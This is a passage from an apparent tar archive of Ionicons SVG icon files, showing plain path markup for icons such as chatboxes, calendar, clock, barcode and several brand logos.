4.2-1.6 8.7-1.6 13.1 0 33.5 27.3 60.6 61.1 60.6 4.5 0 9-.6 13.2-1.6l31.6 31.3c-13.6 6.7-28.7 10.7-44.8 10.7-56.2 0-101.9-45.3-101.9-101.1 0-15.8 4.1-30.7 10.8-44.3zm87.8-15.7l64.2 63.7.4-3.2c0-33.5-27.3-60.6-61.1-60.6l-3.5.1z"/></svg>ionicons/svg/md-chatboxes.svg000064400000000713151701353760012274 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M391.553 64H57.607C53.131 64 48 67.745 48 72.159v214.217c0 4.413 5.131 8.624 9.607 8.624H115v88.894L205.128 295h186.425c4.477 0 7.447-4.211 7.447-8.624V72.159c0-4.414-2.971-8.159-7.447-8.159z"/><path d="M456.396 127H424v166.57c0 15.987-6.915 26.43-25.152 26.43H218.096l-38.905 39h129.688L399 448v-89h57.396c4.478 0 7.604-4.262 7.604-8.682V136.103c0-4.414-3.126-9.103-7.604-9.103z"/></svg>ionicons/svg/ios-help-circle-outline.svg000064400000001261151701353760014351 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3S304.1 436 256 436c-48.1 0-93.3-18.7-127.3-52.7S76 304.1 76 256s18.7-93.3 52.7-127.3S207.9 76 256 76m0-28C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48z"/><path d="M256.7 160c37.5 0 63.3 20.8 63.3 50.7 0 19.8-9.6 33.5-28.1 44.4-17.4 10.1-23.3 17.5-23.3 30.3v7.9h-34.7l-.3-8.6c-1.7-20.6 5.5-33.4 23.6-44 16.9-10.1 24-16.5 24-28.9s-12-21.5-26.9-21.5c-15.1 0-26 9.8-26.8 24.6H192c.7-32.2 24.5-54.9 64.7-54.9zm-26.3 171.4c0-11.5 9.6-20.6 21.4-20.6 11.9 0 21.5 9 21.5 20.6s-9.6 20.6-21.5 20.6-21.4-9-21.4-20.6z"/></svg>ionicons/svg/ios-calendar.svg000064400000000716151701353760012262 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M424 96h-40v24c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V96H160v24c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8V96H88c-22 0-40 18-40 40v272c0 22 18 40 40 40h336c22 0 40-18 40-40V136c0-22-18-40-40-40zm8 300c0 11-9 20-20 20H100c-11 0-20-9-20-20V216c0-4.4 3.6-8 8-8h336c4.4 0 8 3.6 8 8v180zM160 72c0-4.4-3.6-8-8-8h-16c-4.4 0-8 3.6-8 8v24h32V72zM384 72c0-4.4-3.6-8-8-8h-16c-4.4 0-8 3.6-8 8v24h32V72z"/></svg>ionicons/svg/md-save.svg000064400000000454151701353760011254 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M362.7 64h-256C83 64 64 83.2 64 106.7v298.7c0 23.5 19 42.7 42.7 42.7h298.7c23.5 0 42.7-19.2 42.7-42.7v-256L362.7 64zM256 405.3c-35.4 0-64-28.6-64-64s28.6-64 64-64 64 28.6 64 64-28.6 64-64 64zM320 192H106.7v-85.3H320V192z"/></svg>ionicons/svg/md-bookmarks.svg000064400000000663151701353760012310 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.2 64h-21c15 5.7 22.8 20.6 22.8 42.7v298.7c0 22.1-7 37.3-22.8 42.7h21c23.7 0 42.8-19.2 42.8-42.7V106.7c0-23.5-19.1-42.7-42.8-42.7zM345.5 64.2c-1.4-.1-2.8-.2-4.2-.2H106.7C83.2 64 64 83.2 64 106.7v298.7c0 23.5 19.2 42.7 42.7 42.7h234.7c1.4 0 2.8-.1 4.2-.2 21.5-2.1 38.5-20.4 38.5-42.5V106.7c-.1-22.1-17.1-40.4-38.6-42.5zM208 256l-56-32-56 32V96h112v160z"/></svg>ionicons/svg/md-quote.svg000064400000000264151701353760011452 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M96.4 416h77.1l50.9-96.6V96h-160v223.4h77.1L96.4 416zm224 0h77.1l50-96.6V96H288.4v223.4h82l-50 96.6z"/></svg>ionicons/svg/ios-locate.svg000064400000001422151701353760011753 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M395.3 259c-.3-1.2-.4-2.4-.3-3.6 0-.8.2-1.6.3-2.4-.4.9-.6 2-.6 3 .1 1.1.3 2.1.6 3z"/><path d="M459.4 270H409c-6.7 0-12.3-4.7-13.7-11-.3-.9-.5-1.9-.5-3s.2-2.1.6-3c1.4-6.4 7.3-11 14.1-11h49.9c2.4 0 4.2-2 4-4.4-8.8-100.3-88.7-180.2-189-189-2.3-.2-4.4 1.6-4.4 4V103c0 7.9-6.6 14.3-14.6 14-7.6-.3-13.4-6.9-13.4-14.4v-50c0-2.4-2-4.2-4.4-4-100.3 8.8-180.2 88.7-189 189-.2 2.3 1.6 4.4 4 4.4H103c7.9 0 14.3 6.6 14 14.6-.3 7.6-6.9 13.4-14.4 13.4h-50c-2.4 0-4.2 2-4 4.4 8.8 100.3 88.7 180.2 189 189 2.3.2 4.4-1.6 4.4-4V409c0-7.9 6.6-14.3 14.6-14 7.6.3 13.4 6.9 13.4 14.4v49.9c0 2.4 2 4.2 4.4 4 100.3-8.8 180.2-88.7 189-189 .2-2.3-1.7-4.3-4-4.3zM256 326c-38.7 0-70-31.3-70-70s31.3-70 70-70 70 31.3 70 70-31.3 70-70 70z"/></svg>ionicons/svg/ios-color-filter.svg000064400000003273151701353760013113 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M442 248.9c-15.7-20.6-37.7-35.9-62.1-43.6 1-6.3 1.4-12.7 1.4-19.1 0-33.7-13-65.4-36.7-89.2C321 73.1 289.5 60 256 60s-65 13.1-88.6 37c-23.7 23.8-36.7 55.5-36.7 89.2 0 6.4.5 12.8 1.4 19.1-24.5 7.7-46.4 23.1-62.1 43.6-17 22.2-26 48.8-26 76.9 0 33.7 13 65.4 36.7 89.2 23.7 23.8 55.2 37 88.6 37 32.6 0 63.2-12.4 86.7-35 23.4 22.6 54.1 35 86.7 35 33.5 0 65-13.1 88.6-37 23.7-23.8 36.7-55.5 36.7-89.2 0-28.1-9-54.7-26-76.9zM256 85.5c55.1 0 100 45.2 100 100.7 0 4.7-.3 9.4-1 14.1-4.1-.4-8.2-.6-12.4-.6-32.6 0-63.2 12.4-86.7 35-23.4-22.6-54.1-35-86.7-35-4.1 0-8.3.2-12.4.6-.6-4.6-1-9.4-1-14.1.2-55.6 45.1-100.7 100.2-100.7zm0 201.4c-1.8 0-3.7-.1-5.5-.2 1.6-3.8 3.4-7.5 5.5-11.1 2.1 3.6 3.9 7.3 5.5 11.1-1.8.2-3.7.2-5.5.2zm-46.6 131.2c-12.7 5.6-26.1 8.4-40.1 8.4-55.1 0-100-45.2-100-100.7 0-22.3 7.1-43.5 20.6-61.2 12.3-16.1 29.4-28.3 48.5-34.6 6.6 17.9 17.3 34.3 31.2 47.6 13.9 13.4 30.9 23.4 49.2 29.1-1 6.3-1.4 12.7-1.4 19.1 0 25.8 7.7 50.6 22.2 71.7-8.8 8.7-19 15.6-30.2 20.6zM225.1 282c-27.6-9-50-29.8-61.3-56.7 1.8-.1 3.7-.2 5.5-.2 13.9 0 27.4 2.8 40.1 8.4 11.2 5 21.4 11.9 30.1 20.6-5.9 8.7-10.8 18-14.4 27.9zm30.9 94c-8.7-15.2-13.3-32.5-13.3-50.2 0-4.7.3-9.4 1-14.1a128.658 128.658 0 0 0 24.8 0c.6 4.6 1 9.4 1 14.1-.2 17.7-4.8 35-13.5 50.2zm46.6-142.5c12.7-5.6 26.1-8.4 40.1-8.4 1.8 0 3.7.1 5.5.2-11.3 26.9-33.7 47.7-61.3 56.7-3.6-9.8-8.5-19.2-14.4-27.9 8.7-8.7 18.9-15.6 30.1-20.6zm40.1 193c-13.9 0-27.4-2.8-40.1-8.4-11.2-5-21.4-11.9-30.1-20.6 14.5-21.1 22.2-45.8 22.2-71.7 0-6.4-.5-12.8-1.4-19.1 18.3-5.7 35.2-15.7 49.2-29.1 13.8-13.3 24.5-29.6 31.2-47.6 19.1 6.3 36.2 18.4 48.5 34.6 13.5 17.7 20.6 38.9 20.6 61.2-.1 55.6-45 100.7-100.1 100.7z"/></svg>ionicons/svg/md-person-add.svg000064400000000434151701353760012350 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M304 256c52.805 0 96-43.201 96-96s-43.195-96-96-96-96 43.201-96 96 43.195 96 96 96zm0 48c-63.598 0-192 32.402-192 96v48h384v-48c0-63.598-128.402-96-192-96zM112 224v-64H80v64H16v32h64v64h32v-64h64v-32h-64z"/></svg>ionicons/svg/ios-business.svg000064400000002604151701353760012342 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M146 80h220c9.9 0 18-8.1 18-18s-8.1-18-18-18H146c-9.9 0-18 8.1-18 18s8.1 18 18 18zM398 100H114c-9.9 0-18 8.1-18 18 0 9.3 6.9 17.1 16 18v300c0 13.2 10.8 24 24 24h88c4.4 0 8-3.6 8-8v-40c0-4.4 3.6-8 8-8h32c4.4 0 8 3.6 8 8v40c0 4.4 3.6 8 8 8h88c13.2 0 24-10.8 24-24V136c9.1-.9 16-8.7 16-18 0-9.9-8.1-18-18-18zM192 364c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm80 192c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm80 192c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16zm0-64c0 4.4-3.6 8-8 8h-16c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h16c4.4 0 8 3.6 8 8v16z"/></svg>ionicons/svg/md-basketball.svg000064400000001425151701353760012421 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M191.6 272c-3.8 55-26.4 107.1-64.5 147.7 31.6 25 70.9 41 112.9 44.3V272h-48.4zM272 464c42-3.3 81.5-19.4 113.1-44.5-38-40.6-60.5-92.5-64.3-147.5H272v192zM240 48c-42 3.2-80.5 19-111.9 43.6 38 40.9 60.3 93.4 63.7 148.4H240V48zM320.7 240c3.4-55 25.6-107.4 63.5-148.3C352.7 67.1 314 51.2 272 48v192h48.7zM408.6 114.2c-17.2 18.5-30.7 39.7-40.1 62.9-8.2 20.2-13.1 40.9-14.6 62.9H464c-3.7-48-24.1-92.2-55.4-125.8zM368.5 333.1c9.6 23.7 23.3 45.1 40.9 63.8C440.3 363.4 460.3 320 464 272H354.1c1.6 21 6.5 41.5 14.4 61.1zM143.9 177.1c-9.5-23.3-23-44.5-40.3-63.1-31.4 33.6-51.9 78-55.6 126h110.5c-1.6-22-6.5-42.8-14.6-62.9zM102.7 397.1c17.7-18.8 31.5-40.3 41.1-64 8-19.6 12.8-40.1 14.5-61.1H48c3.7 48 23.8 91.6 54.7 125.1z"/></svg>ionicons/svg/md-book.svg000064400000000467151701353760011254 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M426.2 80.4l-170.2 32-170.2-32C64 77 48 97.3 48 118v244.5c0 20.7 16 32.6 37.8 37.6L256 432l170.2-32c21.8-5 37.8-16.9 37.8-37.6V118c0-20.7-16-41-37.8-37.6zm0 282l-151.2 32V149.9l151.2-32v244.5zm-189.2 32l-151.2-32V118L237 150v244.4z"/></svg>ionicons/svg/ios-person.svg000064400000001233151701353760012012 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M447.8 438.3c-7.2-31.8-48.3-47.3-62.5-52.3-15.6-5.5-37.8-6.8-52.1-10-8.2-1.8-20.1-6.3-24.1-11.1s-1.6-49.3-1.6-49.3 7.4-11.5 11.4-21.7c4-10.1 8.4-37.9 8.4-37.9s8.2 0 11.1-14.4c3.1-15.7 8-21.8 7.4-33.5-.6-11.5-6.9-11.2-6.9-11.2s6.1-16.7 6.8-51.3c.9-41.1-31.3-81.6-89.6-81.6-59.1 0-90.6 40.5-89.7 81.6.8 34.6 6.7 51.3 6.7 51.3s-6.3-.3-6.9 11.2c-.6 11.7 4.3 17.8 7.4 33.5 2.8 14.4 11.1 14.4 11.1 14.4s4.4 27.8 8.4 37.9c4 10.2 11.4 21.7 11.4 21.7s2.4 44.5-1.6 49.3c-4 4.8-15.9 9.3-24.1 11.1-14.3 3.2-36.5 4.5-52.1 10-14.2 5-55.3 20.5-62.5 52.3-1.1 5 2.7 9.7 7.9 9.7H440c5.1 0 8.9-4.7 7.8-9.7z"/></svg>ionicons/svg/md-transgender.svg000064400000001061151701353760012625 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 32v35h63.1l-81.4 80.5c-7.5-7.2-13.2-11-13.2-11C302.2 123.6 280 116 256 116c-30.2 0-57.6 12-77.8 31.4l-15.2-15 31.4-31.4-28.5-28.5-31.5 31.5-37.5-37H160V32H32v128h35V91.3l40.3 39.9-31.2 31.2 28.5 28.5 31.4-31.4 19.4 19.2c-7.3 14.9-11.5 31.7-11.5 49.5 0 54.8 39.5 100.4 91.1 110.2v45.3h-63V424h63v56h42v-56h63v-40.2h-63v-45.3c50.8-9.9 91.2-55.5 91.2-110.3 0-17.7-4.2-34.8-11.5-49.6L445 91.3V160h35V32H352zm-96 258c-35.3 0-64-28.7-64-64s28.7-64 64-64 64 28.7 64 64-28.7 64-64 64z"/></svg>ionicons/svg/md-outlet.svg000064400000001154151701353760011630 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M369.5 32H142.4C81.5 32 32 82.6 32 144.6v222.8c0 62 49.5 112.6 110.4 112.6h227.2c60.9 0 110.5-50.6 110.5-112.6V144.6C480 82.6 430.5 32 369.5 32zM175 251v.7c0 10.9-9.1 20.4-19.9 20.4h-23.3c-10.8 0-19.9-9.5-19.9-20.4V148.1c1-10.8 9.2-20.2 19.9-20.2h23.3c10.9 0 19.9 9.8 19.9 20.8V251zm122 147.4c0 11.4-8.9 17.6-20.1 17.6h-41.8c-11.2 0-20.1-8.1-20.1-19.6v-29.3c0-23.3 18.1-42.3 41-42.3s41 19 41 42.3v31.3zM400 251v.7c0 10.9-9.1 20.4-19.9 20.4h-24.3c-10.8 0-19.9-9.5-19.9-20.4V148.1c1-10.8 9.2-20.2 19.9-20.2h24.3c10.8 0 19.9 9.8 19.9 20.8V251z"/></svg>ionicons/svg/md-close-circle.svg000064400000000576151701353760012667 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C140.559 48 48 140.559 48 256c0 115.436 92.559 208 208 208 115.435 0 208-92.564 208-208 0-115.441-92.564-208-208-208zm104.002 282.881l-29.12 29.117L256 285.117l-74.881 74.881-29.121-29.117L226.881 256l-74.883-74.881 29.121-29.116L256 226.881l74.881-74.878 29.12 29.116L285.119 256l74.883 74.881z"/></svg>ionicons/svg/md-restaurant.svg000064400000000764151701353760012512 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M164.852 279.939l61.834-60.251L73.72 71.706c-33.626 32.764-33.626 86.677 0 119.44l91.132 88.793z"/><path d="M312.389 241.88c33.636 14.802 80.283 4.232 113.91-29.593 41.222-40.165 49.909-98.303 17.363-128.96-31.465-31.71-91.131-23.245-132.354 16.921-34.718 33.825-45.566 79.276-30.374 110.986-47.739 47.568-211.552 207.173-211.552 207.173L99.759 448l149.71-145.866L399.177 448l30.374-29.593-149.709-145.869 32.547-30.658z"/></svg>ionicons/svg/logo-twitch.svg000064400000000351151701353760012154 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M80 32l-32 80v304h96v64h64l64-64h80l112-112V32H80zm336 256l-64 64h-96.001L192 416v-64h-80V80h304v208z"/><path d="M320 143h48v129h-48zM208 143h48v129h-48z"/></svg>ionicons/svg/ios-clock.svg000064400000003121151701353760011575 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M403.1 108.9c-81.2-81.2-212.9-81.2-294.2 0-81.3 81.2-81.2 212.9 0 294.2 81.2 81.2 212.9 81.2 294.2 0 81.2-81.2 81.2-213 0-294.2zM89.6 263.8c-5.6 1.1-10.5-3.8-9.4-9.4.6-3.1 3.1-5.7 6.3-6.3 5.6-1.1 10.5 3.8 9.4 9.4-.6 3.2-3.2 5.7-6.3 6.3zm26.2 82.2c-4.3 3.7-11 1.9-12.8-3.5-1-3-.1-6.5 2.3-8.5 4.3-3.7 11-1.9 12.8 3.5 1 3 .1 6.4-2.3 8.5zm2.3-171.5c-1.9 5.4-8.5 7.2-12.8 3.5-2.4-2.1-3.3-5.5-2.3-8.5 1.9-5.4 8.5-7.2 12.8-3.5 2.4 2.1 3.3 5.5 2.3 8.5zM179.6 404c-1.9 5.4-8.5 7.2-12.8 3.5-2.4-2.1-3.3-5.5-2.3-8.5 1.9-5.4 8.5-7.2 12.8-3.5 2.4 2.1 3.3 5.5 2.3 8.5zm-2.3-287.5c-4.3 3.7-11 1.9-12.8-3.5-1-3-.1-6.5 2.3-8.5 4.3-3.7 11-1.9 12.8 3.5 1 3 .1 6.4-2.3 8.5zm35.4 76.3c-2.3-3.8-1-8.7 2.7-11 3.8-2.3 8.7-1 11 2.7l33.7 62.3c2.5 4.7 3.9 9.9 3.9 15.2v122c0 5-3 8-8 8s-8-3-8-8V262c0-2.7-.7-5.3-1.9-7.6l-33.4-61.6zm44.9 239c-5.6 1.1-10.5-3.8-9.4-9.4.6-3.1 3.1-5.7 6.3-6.3 5.6-1.1 10.5 3.8 9.4 9.4-.6 3.2-3.2 5.7-6.3 6.3zm0-336c-5.6 1.1-10.5-3.8-9.4-9.4.6-3.1 3.1-5.7 6.3-6.3 5.6-1.1 10.5 3.8 9.4 9.4-.6 3.2-3.2 5.7-6.3 6.3zm87.7 311.7c-4.3 3.7-11 1.9-12.8-3.5-1-3-.1-6.5 2.3-8.5 4.3-3.7 11-1.9 12.8 3.5 1 3 .1 6.4-2.3 8.5zm2.3-294.5c-1.9 5.4-8.5 7.2-12.8 3.5-2.4-2.1-3.3-5.5-2.3-8.5 1.9-5.4 8.5-7.2 12.8-3.5 2.4 2.1 3.3 5.5 2.3 8.5zm61.5 229.5c-1.9 5.4-8.5 7.2-12.8 3.5-2.4-2.1-3.3-5.5-2.3-8.5 1.9-5.4 8.5-7.2 12.8-3.5 2.4 2.1 3.3 5.5 2.3 8.5zM406.8 178c-4.3 3.7-11 1.9-12.8-3.5-1-3-.1-6.5 2.3-8.5 4.3-3.7 11-1.9 12.8 3.5 1 3 .1 6.4-2.3 8.5zm18.8 85.8c-5.6 1.1-10.5-3.8-9.4-9.4.6-3.1 3.1-5.7 6.3-6.3 5.6-1.1 10.5 3.8 9.4 9.4-.6 3.2-3.2 5.7-6.3 6.3z"/></svg>ionicons/svg/ios-browsers.svg000064400000000553151701353760012356 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M48 181.4V424c0 22.1 17.9 40 40 40h242.6c22.1 0 40-17.9 40-40V181.4c0-22.1-17.9-40-40-40H88c-22.1 0-40 17.9-40 40z"/><path d="M141.4 88v28.4c0 2.2 1.8 4 4 4h198.2c26.4 0 48 21.6 48 48v198.2c0 2.2 1.8 4 4 4H424c22.1 0 40-17.9 40-40V88c0-22.1-17.9-40-40-40H181.4c-22.1 0-40 17.9-40 40z"/></svg>ionicons/svg/logo-ionic.svg000064400000001114151701353760011751 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 161.2c-52.3 0-94.8 42.5-94.8 94.8s42.5 94.8 94.8 94.8 94.8-42.5 94.8-94.8-42.5-94.8-94.8-94.8z"/><circle cx="392.1" cy="126.4" r="43.2"/><path d="M445.3 169.8l-1.8-4-2.9 3.3c-7.1 8-16.1 14.2-26.1 17.9l-2.8 1 1.1 2.7c8.6 20.7 13 42.7 13 65.2 0 93.7-76.2 169.9-169.9 169.9S86.1 349.7 86.1 256 162.3 86.1 256 86.1c25.4 0 49.9 5.5 72.8 16.4l2.7 1.3 1.2-2.7c4.2-9.8 10.8-18.5 19.2-25.2l3.4-2.7-3.9-2C321.6 55.8 289.5 48 256 48 141.3 48 48 141.3 48 256s93.3 208 208 208 208-93.3 208-208c0-30-6.3-59-18.7-86.2z"/></svg>ionicons/svg/md-compass.svg000064400000000555151701353760011765 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 231.358c-13.442 0-24.643 11.2-24.643 24.642s11.2 24.643 24.643 24.643 24.643-11.2 24.643-24.643-11.201-24.642-24.643-24.642zM256 32C132.8 32 32 132.8 32 256s100.8 224 224 224 224-100.8 224-224S379.2 32 256 32zm49.284 273.284L121.6 390.4l85.116-183.679L390.4 121.6l-85.116 183.684z"/></svg>ionicons/svg/md-git-branch.svg000064400000001350151701353760012330 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M416 160c0-35.3-28.7-64-64-64s-64 28.7-64 64c0 23.7 12.9 44.3 32 55.4v8.6c0 19.9-7.8 33.7-25.3 44.9-15.4 9.8-38.1 17.1-67.5 21.5-14 2.1-25.7 6-35.2 10.7V151.4c19.1-11.1 32-31.7 32-55.4 0-35.3-28.7-64-64-64S96 60.7 96 96c0 23.7 12.9 44.3 32 55.4v209.2c-19.1 11.1-32 31.7-32 55.4 0 35.3 28.7 64 64 64s64-28.7 64-64c0-16.6-6.3-31.7-16.7-43.1 1.9-4.9 9.7-16.3 29.4-19.3 38.8-5.8 68.9-15.9 92.3-30.8 36-22.8 55-57 55-98.8v-8.6c19.1-11.1 32-31.7 32-55.4zM160 56c22.1 0 40 17.9 40 40s-17.9 40-40 40-40-17.9-40-40 17.9-40 40-40zm0 400c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40zm192-256c-22.1 0-40-17.9-40-40s17.9-40 40-40 40 17.9 40 40-17.9 40-40 40z"/></svg>ionicons/svg/md-today.svg000064400000000773151701353760011442 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.3 32H106.7C83.2 32 64 51.2 64 74.7v362.7c0 23.5 19.2 42.7 42.7 42.7h298.7c23.5 0 42.7-19.2 42.7-42.7V74.7C448 51.2 428.8 32 405.3 32zm-4 405.3H110.7c-2.2 0-4-1.8-4-4V78.7c0-2.2 1.8-4 4-4h290.7c2.2 0 4 1.8 4 4v354.7c-.1 2.1-1.9 3.9-4.1 3.9z"/><path d="M145 194v204c0 1.1.9 2 2 2h218c1.1 0 2-.9 2-2V194c0-1.1-.9-2-2-2H147c-1.1 0-2 .9-2 2zM145 114.7v34c0 1.1.9 2 2 2h171c1.1 0 2-.9 2-2v-34c0-1.1-.9-2-2-2H147c-1.1 0-2 .9-2 2z"/></svg>ionicons/svg/md-open.svg000064400000000524151701353760011255 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M405.34 405.332H106.66V106.668H240V64H106.66C83.191 64 64 83.197 64 106.668v298.664C64 428.803 83.191 448 106.66 448h298.68c23.469 0 42.66-19.197 42.66-42.668V272h-42.66v133.332zM288 64v42.668h87.474L159.999 322.133l29.866 29.866 215.476-215.47V224H448V64H288z"/></svg>ionicons/svg/ios-barcode.svg000064400000002105151701353760012102 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M121.6 388H80.8c-2.2 0-4-1.8-4-4V128c0-2.2 1.8-4 4-4h40.5c7.9 0 14.5-6.4 14.7-14 .1-3.9-1.3-7.2-4.1-10-2.7-2.8-8-4-11.9-4H66c-10 0-18 6-18 16v288c0 10 7 16 17 16h56.3c7.9 0 14.5-5.2 14.7-12.8.1-3.9-1.3-7.5-4.1-10.3-2.7-2.8-6.4-4.9-10.3-4.9zM447 96h-56.3c-9.5 0-17.1 8.3-14 18.3.2.7.5 1.3.8 1.9 2.7 5.2 7.6 7.8 12.9 7.8h40.8c2.2 0 4 1.8 4 4v255.9c0 2.2-1.8 4-4 4h-40.5c-7.9 0-14.5 6.2-14.7 13.9-.1 3.9 1.3 7.6 4.1 10.4 2.7 2.8 6.4 3.8 10.3 3.8H447c10 0 17-6 17-16.4V112c0-10-7-16-17-16z"/><path d="M122.5 176c-7.7 0-14 6.3-14 13.9V322c0 7.7 6.3 13.9 14 13.9s14-6.3 14-13.9V189.9c0-7.6-6.3-13.9-14-13.9zM389.5 336c7.7 0 14-6.3 14-13.9V189.9c0-7.7-6.3-13.9-14-13.9s-14 6.3-14 13.9V322c0 7.7 6.3 14 14 14zM326.5 144c-7.7 0-14 6.5-14 14.4v195.1c0 8 6.3 14.4 14 14.4s14-6.5 14-14.4V158.4c0-7.9-6.3-14.4-14-14.4zM185.5 144c-7.7 0-14 6.5-14 14.4v195.1c0 8 6.3 14.4 14 14.4s14-6.5 14-14.4V158.4c0-7.9-6.2-14.4-14-14.4zM256 160c-7.7 0-14 6.4-14 14.2v163.5c0 7.8 6.3 14.2 14 14.2s14-6.4 14-14.2V174.2c0-7.8-6.3-14.2-14-14.2z"/></svg>ionicons/svg/md-link.svg000064400000000545151701353760011254 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M74.6 256c0-38.3 31.1-69.4 69.4-69.4h88V144h-88c-61.8 0-112 50.2-112 112s50.2 112 112 112h88v-42.6h-88c-38.3 0-69.4-31.1-69.4-69.4zm85.4 22h192v-44H160v44zm208-134h-88v42.6h88c38.3 0 69.4 31.1 69.4 69.4s-31.1 69.4-69.4 69.4h-88V368h88c61.8 0 112-50.2 112-112s-50.2-112-112-112z"/></svg>ionicons/svg/md-notifications-outline.svg000064400000001133151701353760014637 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M257 120.471c7.083 0 23.911 4.479 23.911 4.479 45.589 10.447 77.678 52.439 77.678 99.85V352.412l9.321 9.364 7.788 7.823H136.302l7.788-7.823 9.321-9.364V224.8c0-47.41 32.089-89.403 77.678-99.85 0 0 18.043-4.479 23.911-4.479M256 48c-17.602 0-31.059 13.518-31.059 31.2v14.559c-59.015 13.523-103.53 67.601-103.53 131.041v114.4L80 380.8v20.8h352v-20.8l-41.411-41.6V224.8c0-63.44-44.516-117.518-103.53-131.041V79.2c0-17.682-13.457-31.2-31.059-31.2zm41.411 374.4h-82.823c0 22.881 18.633 41.6 41.412 41.6s41.411-18.719 41.411-41.6z"/></svg>ionicons/svg/md-star-half.svg000064400000000577151701353760012205 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M458 210.409l-145.267-12.476L256 64l-56.743 133.934L54 210.409l110.192 95.524L131.161 448 256 372.686 380.83 448l-33.021-142.066L458 210.409zM272.531 345.287L256 335.313l-.002-189.277 27.27 64.379 7.52 17.751 19.208 1.65 69.846 5.998-52.993 45.939-14.576 12.636 4.367 18.788 15.875 68.299-59.984-36.189z"/></svg>ionicons/svg/md-archive.svg000064400000000753151701353760011741 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M453.594 100.001l-32.353-39.299C415.469 52.627 405.083 48 394.664 48H117.335c-10.416 0-20.801 4.627-26.576 12.702l-32.351 39.299C51.468 106.923 48 117.335 48 128.886v288.89C48 443.2 68.8 464 94.225 464h323.553C443.202 464 464 443.2 464 417.775v-288.89c0-11.55-3.463-21.962-10.406-28.884zM256 383.109L128.89 256h80.89v-46.224h92.443V256h80.89L256 383.109zM96.534 94.221L115.02 71.11h277.331l21.965 23.111H96.534z"/></svg>ionicons/svg/logo-python.svg000064400000002500151701353760012171 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M193.46 249.056a65.316 65.316 0 0 1 